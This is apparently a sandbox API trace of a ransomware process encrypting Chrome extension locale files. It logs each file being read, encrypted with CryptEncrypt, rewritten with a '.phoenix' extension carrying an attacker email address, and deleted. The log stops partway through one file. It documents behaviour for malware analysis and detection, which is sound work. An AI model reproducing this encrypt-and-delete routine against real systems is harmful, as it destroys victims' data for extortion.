	[0261.928] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.929] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=336) returned 1
	[0261.929] CloseHandle (hObject=0x310) returned 1
	[0261.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json")) returned 0x20
	[0261.929] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.929] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.929] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.929] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.929] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0261.930] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1515c0) returned 1
	[0261.930] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.930] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x150, lpOverlapped=0x0) returned 1
	[0261.931] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x160, dwBufLen=0x160 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x160) returned 1
	[0261.931] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x160, lpOverlapped=0x0) returned 1
	[0261.932] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151300) returned 1
	[0261.932] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.932] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.932] CryptDestroyKey (hKey=0x151300) returned 1
	[0261.932] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.932] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0261.932] CloseHandle (hObject=0x310) returned 1
	[0261.932] CloseHandle (hObject=0x2c4) returned 1
	[0261.932] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\ta\\messages.json")) returned 1
	[0261.933] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.933] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0261.934] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=277) returned 1
	[0261.934] CloseHandle (hObject=0x2c4) returned 1
	[0261.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json")) returned 0x20
	[0261.934] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.934] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0261.934] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.934] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.934] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.935] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1510c0) returned 1
	[0261.935] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.935] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x115, lpOverlapped=0x0) returned 1
	[0261.936] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0261.936] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0261.937] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151500) returned 1
	[0261.937] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.937] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.937] CryptDestroyKey (hKey=0x151500) returned 1
	[0261.937] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.937] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0261.937] CloseHandle (hObject=0x2c4) returned 1
	[0261.937] CloseHandle (hObject=0x310) returned 1
	[0261.937] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\te\\messages.json")) returned 1
	[0261.939] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.939] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.939] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=293) returned 1
	[0261.939] CloseHandle (hObject=0x310) returned 1
	[0261.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json")) returned 0x20
	[0261.939] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.940] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.940] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.940] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.940] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0261.940] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0261.940] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.940] ReadFile (in: hFile=0x310, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x125, lpOverlapped=0x0) returned 1
	[0261.941] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x130, dwBufLen=0x130 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x130) returned 1
	[0261.941] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x130, lpOverlapped=0x0) returned 1
	[0261.942] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151080) returned 1
	[0261.942] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.942] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.942] CryptDestroyKey (hKey=0x151080) returned 1
	[0261.942] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.943] CryptDestroyKey (hKey=0x151200) returned 1
	[0261.943] CloseHandle (hObject=0x310) returned 1
	[0261.943] CloseHandle (hObject=0x2c4) returned 1
	[0261.943] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\th\\messages.json")) returned 1
	[0261.944] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.944] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0261.945] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=205) returned 1
	[0261.945] CloseHandle (hObject=0x2c4) returned 1
	[0261.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json")) returned 0x20
	[0261.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.945] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0261.945] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.945] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.946] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.946] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151080) returned 1
	[0261.946] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.946] ReadFile (in: hFile=0x2c4, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xcd, lpOverlapped=0x0) returned 1
	[0261.947] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0, dwBufLen=0xd0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0) returned 1
	[0261.947] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xd0, lpOverlapped=0x0) returned 1
	[0261.948] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151640) returned 1
	[0261.948] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0261.948] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0261.948] CryptDestroyKey (hKey=0x151640) returned 1
	[0261.948] WriteFile (in: hFile=0x310, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0261.948] CryptDestroyKey (hKey=0x151080) returned 1
	[0261.948] CloseHandle (hObject=0x2c4) returned 1
	[0261.948] CloseHandle (hObject=0x310) returned 1
	[0261.948] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\tr\\messages.json")) returned 1
	[0261.949] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0261.949] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.950] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=277) returned 1
	[0261.950] CloseHandle (hObject=0x310) returned 1
	[0261.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json")) returned 0x20
	[0261.951] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0261.951] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_1\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0261.951] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0261.951] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
